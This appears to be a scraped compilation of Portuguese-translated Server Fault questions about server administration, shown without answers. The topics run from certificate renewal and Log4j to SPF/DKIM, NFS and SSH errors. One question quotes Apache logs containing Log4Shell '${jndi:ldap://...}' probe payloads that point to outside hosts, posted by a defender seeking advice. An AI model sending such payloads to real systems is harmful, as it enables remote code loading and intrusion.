server

Temos um certificado curinga emitido pela GoDaddy prestes a ser renovado e gostaria de usar uma empresa diferente (que ainda não foi escolhida). O certificado curinga está em uso em uma dúzia de sites em alguns servidores. Haverá um intervalo de algumas horas entre a emissão do certificado na nova autoridade e a instalação do certificado em todos esses sites e servidores. Durante esse intervalo, nossos usuários perceberão alguma coisa, por exemplo,

1. Tipo de aviso "O site é inseguro"
2. Falha total do site para funcionar (são sites Windows/IIS).

Estou me perguntando se, por exemplo, a nova autoridade emite algo para GoDaddy que faça GoDaddy revogar nosso certificado que eles têm em arquivo. Ou será que um navegador da Web encontrará o certificado instalado que não corresponde ao certificado recém-emitido e causará um problema?

A documentação do chrony adverte

ATENÇÃO: Certos softwares serão seriamente afetados por tais saltos no horário do sistema. (Essa é a razão pela qual o chronyd usa o giro normalmente.) Documentação

Mas a documentação não dá exemplos. Quais são os exemplos de software que serão seriamente afetados? O sistema operacional ou algum processo em segundo plano está em risco?

O servidor web apache (apache2) usa log4j?

Eu tenho o Apache2 2.4.38 (debian) instalado no Raspberry Pi OS (64 bits) e encontrei alguns registros estranhos no meu log sobre CVE-2021-44228 de ( kryptoslogic-cve-2021-44228.comhoneypot/scanner), dataastatistics.com(offline & malicioso?) a8fvkc.dnslog.cnisto é)

O que eu deveria fazer agora?

• nada porque o apache2 não é afetado pelo CVE-2021-44228
• formate tudo e espere alguns dias antes de instalar uma versão corrigida
• "verifique" se existem novos arquivos .class e se não houver continue a operação (e use patches manuais comolog4j2.formatMsgNoLookups = TRUE
• algo mais

Histórico:

139.59.99.80 - - [12/Dec/2021:00:34:47 +0100] "GET / HTTP/1.1" 301 512 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:00:34:48 +0100] "GET / HTTP/1.1" 200 5932 "http://79.232.126.49/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
139.59.99.80 - - [12/Dec/2021:01:51:38 +0100] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 301 654 "-" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" 404 8456 "http://79.232.126.49/$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D" "Kryptos Logic Telltale"
139.59.99.80 - - [12/Dec/2021:01:51:39 +0100] "GET /$%7bjndi:ldap:/http80path.kryptoslogic-cve-2021-44228.com/http80path%7d HTTP/1.1" 404 8456 "http://79.232.126.49/$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D" "Kryptos Logic Telltale"
139.59.99.80 - - [11/Dec/2021:18:35:25 +0100] "GET / HTTP/1.1" 200 5932 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
139.59.99.80 - - [11/Dec/2021:20:13:11 +0100] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 8456 "-" "Kryptos Logic Telltale"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:33 +0100] "GET /?api=${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help} HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:34 +0100] "POST /api/v2 HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
191.101.132.152 - - [11/Dec/2021:22:55:34 +0100] "POST /api/v2 HTTP/1.1" 400 5115 "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}" "${jndi:ldap://[*****mydomain****].774dda06.dataastatistics.com/help}"
137.184.106.119 - - [10/Dec/2021:20:38:18 +0100] "GET / HTTP/1.1" 301 568 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
137.184.106.119 - - [10/Dec/2021:20:38:20 +0100] "GET / HTTP/1.1" 200 6576 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"
137.184.106.119 - - [10/Dec/2021:20:38:21 +0100] "GET /favicon.ico HTTP/1.1" 200 7103 "-" "${jndi:ldap://a8fvkc.dnslog.cn/a}"

Eu li sobre vulnerabilidades de segurança relacionadas ao Log4j.

Como verifico se o Log4j está instalado no meu servidor? Meus servidores específicos usam Ubuntu 18.04.6 LTS.

Eu instalei muitos pacotes de terceiros e talvez alguns deles o contenham.

Existe um comando a ser executado no meu servidor para verificar se o Log4j está instalado?

Preciso de uma GPU em um servidor somente de texto e console? Sem GPU como sem iGPU e dGPU. Eu vou estar usando SSH, então eu não preciso de uma saída de exibição.

Estou usando Linux, mas o sistema operacional não deve afetar os resultados

Estamos trabalhando em uma solução de software e alguns de nossos provedores são realmente centrados no CentOS 7.

O CentoS 7 continuará a produzir durante o restante do ciclo de vida do RHEL 7, que terminará em algum momento de 2024.

O CentOS 8 receberá atualizações até dezembro de 2021.

O CentOS Stream foi anunciado pela Red Hat, mas aparentemente não é um substituto para o CentOS.

Não sou muito de mergulhar nisso se as opções forem incertas no futuro próximo com o CentOS.

Pergunta: quais são as opções para usuários do CentOS 7 quando o RHEL 7 chega ao fim de sua vida útil e os usuários precisam de um servidor pronto para produção?

EDIÇÃO FINAL: Eu estava completamente errado sobre o DKIM, parece que o domínio de assinatura não precisa ser o mesmo que o domínio do remetente, portanto, toda a premissa da minha pergunta é falha. Muito obrigado a Paul por apontar meu erro!

Pergunta original abaixo:

Tentei ler sobre SPF e DKIM, mas não entendo o objetivo de usar os dois ao mesmo tempo, pelo menos no contexto de combate ao spam (endereços de remetente forjados, que podem resultar em meu servidor/domínio de e-mail na lista negra ). Tanto quanto eu posso entender, o DKIM sozinho deve fazer o trabalho que o SPF deveria fazer.

Meu entendimento até agora é o seguinte:

1. Ao enviar um e-mail, o remetente pode reivindicar o que quiser (por exemplo, endereço de remetente falso)
2. O DKIM permite detectar um endereço de e-mail de remetente falso, pois você pode verificar a assinatura DKIM em relação à chave pública no registro TXT do DNS.
3. O SPF permite verificar se o email foi enviado de um servidor de email autorizado a enviar emails para um determinado endereço de remetente.

O que eu não entendo é o seguinte: a menos que a chave privada DKIM tenha sido comprometida de alguma forma, a verificação DKIM por si só deve ser suficiente para verificar se o email foi enviado de um servidor de email autorizado, porque, caso contrário, o servidor de email não teria a chave privada para assinar o e-mail.

Eu vi a resposta para uma pergunta muito semelhante aqui: https://serverfault.com/a/780248/154775 , nele o autor afirma que o DKIM não pode impedir ataques de repetição. Eu vou admitir esse ponto, mas acho que é um caso de canto, o maior problema na minha opinião é o spam com endereços de remetentes falsos - o DKIM deve evitar isso facilmente por conta própria.

Existe um cenário além dos ataques de repetição em que o SPF fornece proteção adicional em comparação com apenas o DKIM?

EDIT: Eu marquei o núcleo da minha pergunta em negrito para esclarecer o que exatamente eu quero uma resposta.

Estou ajudando a administrar um site que foi bloqueado por motivos políticos pela mesma agência russa que já tentou bloquear o Telegram (RosKomNadzor). Esta não é a primeira vez que isso acontece, e anteriormente apenas mudaríamos o domínio, mas isso tem suas próprias implicações e perda de leitores.

Eles estão bloqueando apenas o nome de domínio, não o IP (estamos usando Cloudflare de qualquer maneira). Estamos usando HTTPS, mas os ISPs ainda conseguem, de alguma forma, obter as informações de DNS sobre uma solicitação vinda de seus clientes. Tecnicamente, podemos sugerir aos nossos leitores que configurem seu /etc/hosts, mas essa não é uma opção viável.

Existe algo que possa ser feito do lado do nosso servidor para criptografar/ofuscar as informações de DNS sem que os usuários façam alterações/instalem software? Ou esperar que o DNS sobre HTTPS se torne a nossa única opção?

Da Rússia com amor.

Existem muitos vídeos e descrições sobre como usar uma ferramenta de crimpagem RJ45. Já vi alguns e até testei uma ferramenta de crimpagem, mas ainda não entendo como ela faz o que faz.

O que exatamente acontece com os oito fios dentro da ferramenta de crimpagem e por que não é necessário remover o isolamento dos oito fios antes de colocar o cabo na ferramenta de crimpagem?

Estou usando o Ubuntu 20.04 com o Xen Hypervisor. Na minha máquina, tenho um SSD que hospeda minhas imagens de VM e, em seguida, quatro unidades sata nas quais tenho dados. Minha configuração atual é montar os dados no meu domínio0 e, em seguida, fornecer esses dados para as outras VMs no servidor de arquivos de rede.

Isso parece ineficiente, pois todas as VMs teriam que passar pela minha NIC para acessar os dados. Estou correto nessa suposição de que este é um grande gargalo?

Qual é o padrão do setor para fornecer dados que estão na mesma máquina física? Algum conselho ou melhorias para esta configuração?

Existe algum dano em montar o LVM de dados em cada uma das VMs? Minha preocupação com essa abordagem é o que ocorreria se duas VMs tentassem acessar o mesmo ponto de dados simultaneamente? Esta configuração é vulnerável à corrupção de dados?

Em um Windows 2019 Server , a unidade D: está 100% cheia (500 Gb usados) :

Estou tentando entender por que o disco está cheio, mas não consigo porque tanto o File Explorer quanto o Total Commander relatam não mais que 33 Gb usados :

Também é estranho que o WinDirStat relate 100% (500 Gb) usado no resumo inicial, mas apenas 33 Gb usados ​​após a análise:

Observe que:

• Estou logado como Administrador
• Eu iniciei o WinDirStat com privilégios de administrador
• Eu tentei com o administrador local e o administrador de domínio do Active Directory
• Ativei arquivos ocultos e de sistema no File Explorer e no Total Commander
• Executei o chkdsk na unidade D: sem encontrar nenhum problema

Encontrei 33 Gb de dados. Onde estão outros 467 Gb?

O NFS pode ser usado razoavelmente em servidores de produção como um meio de conectar um servidor de computação a um servidor de armazenamento, supondo que a conexão seja feita por uma conexão LAN de 1 Gbe ou 10 Gbe?

Obviamente, há alguma sobrecarga de rede e o NFS parece particularmente mais lento com gravações se você tiver o modo de sincronização ativado. Caso contrário, parece razoavelmente leve e capaz de dimensionar a partir do que posso dizer, mas tenho pouca experiência com isso pessoalmente. Estou errado?

O problema é que eu tenho um servidor agora que atua como armazenamento e servidor web, mas vou acabar precisando dividir os dois provavelmente no futuro, e considerando que algumas solicitações precisam passar pela camada de aplicação web para autenticação antes de inicializar a transferência de arquivos, fica meio complicado com este software. Uma montagem fs de rede é a opção mais simples que eu apenas .. não sei se isso é bom.

Também pretendo tentar utilizar o cache local com NFS, o que deve melhorar um pouco o desempenho, mas não tenho certeza se isso é suficiente.

No que diz respeito às alternativas, há apenas o iSCSI que conheço como um concorrente real, e a maioria das pessoas parece recomendar o NFS sobre qualquer um dos outros menos conhecidos.

Eu vi uma coisa curiosa nos logs do IDS recentemente. Era um relatório de uma conexão de saída que mostrava o processo pai como /usr/sbin/sshd -R.

Estou ciente do -Rargumento para ssh(cliente) para encaminhamento de porta remoto, mas nunca vi uma -Ropção para o sshd daemon .

Não -Raparece em man sshd. O que esse argumento faz?

Recentemente, examinei sistemas de arquivos avançados (Btrfs, ZFS) para redundância e disponibilidade de dados e fiquei interessado na funcionalidade adicional que eles fornecem, especialmente seus recursos de "auto-recuperação" contra corrupção de dados.

No entanto, acho que preciso dar um passo atrás e tentar entender se esse benefício supera suas desvantagens (bugs do Btrfs e problemas não resolvidos e disponibilidade do ZFS e impacto no desempenho) para uso doméstico geral/SMB, em comparação com um mdadm-Raid1 + convencional Solução Ext4. Um backup espelhado está disponível de qualquer maneira.

Vamos supor que eu tenha alguns servidores de arquivos que são usados ​​para fins de arquivamento e têm recursos limitados, mas memória ECC e uma fonte de energia estável.

1. Qual a probabilidade de eu encontrar corrupção de dados real, tornando os arquivos ilegíveis? Como?
2. O Ext4 ou o gerenciador de arquivos do sistema já detectam erros de dados nas operações de copiar/mover, deixando-me pelo menos ciente de um problema?
3. O que acontece se uma das unidades madam-Raid1 mantiver dados diferentes devido a uma unidade com setores defeituosos? Ainda poderei recuperar o arquivo correto ou o array não conseguirá decidir qual arquivo é o correto e o perderá completamente?

Eu configurei um servidor SSH online que pode ser acessado publicamente por qualquer pessoa. Portanto, recebo muitas conexões de IPs de todo o mundo. Estranhamente, nenhum realmente tenta autenticar para abrir uma sessão. Eu mesmo posso me conectar e autenticar sem nenhum problema.

De vez em quando, recebo os error: kex_exchange_identification: Connection closed by remote hostlogs do servidor. O que causa isso?

Aqui estão 30 minutos de logs SSH (os IPs públicos foram redigidos):

# journalctl SYSLOG_IDENTIFIER=sshd -S "03:30:00" -U "04:00:00"
-- Logs begin at Fri 2020-01-31 09:26:25 UTC, end at Mon 2020-04-20 08:01:15 UTC. --
Apr 20 03:39:48 myhostname sshd[18438]: Connection from x.x.x.207 port 39332 on 10.0.0.11 port 22 rdomain ""
Apr 20 03:39:48 myhostname sshd[18439]: Connection from x.x.x.207 port 39334 on 10.0.0.11 port 22 rdomain ""
Apr 20 03:39:48 myhostname sshd[18438]: Connection closed by x.x.x.207 port 39332 [preauth]
Apr 20 03:39:48 myhostname sshd[18439]: Connection closed by x.x.x.207 port 39334 [preauth]
Apr 20 03:59:36 myhostname sshd[22186]: Connection from x.x.x.83 port 34876 on 10.0.0.11 port 22 rdomain ""
Apr 20 03:59:36 myhostname sshd[22186]: error: kex_exchange_identification: Connection closed by remote host

E aqui está minha configuração SSH:

# ssh -V
OpenSSH_8.2p1, OpenSSL 1.1.1d  10 Sep 2019
# cat /etc/ssh/sshd_config 
UsePAM yes
AddressFamily any
Port 22
X11Forwarding no
PermitRootLogin prohibit-password
GatewayPorts no
PasswordAuthentication no
ChallengeResponseAuthentication no
PrintMotd no # handled by pam_motd
AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 /etc/ssh/authorized_keys.d/%u
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_ed25519_key
KexAlgorithms [email protected],diffie-hellman-group-exchange-sha256
Ciphers [email protected],[email protected],[email protected],aes256-ctr,aes192-ctr,aes128-ctr
MACs [email protected],[email protected],[email protected],hmac-sha2-512,hmac-sha2-256,[email protected]
LogLevel VERBOSE
UseDNS no
AllowUsers root
AuthenticationMethods publickey
MaxStartups 3:100:60

Depois de pesquisar na web, vi referências MaxStartupsindicando que poderia ser o motivo desse erro, mas depois de alterar o valor padrão conforme mostrado no meu sshd_confige tentar mais de 3 conexões, o servidor indica inequivocamente o problema

Apr 20 07:26:59 myhostname sshd[31468]: drop connection #3 from [x.x.x.226]:54986 on [10.0.0.11]:22 past MaxStartups

Então, o que causa error: kex_exchange_identification: Connection closed by remote host?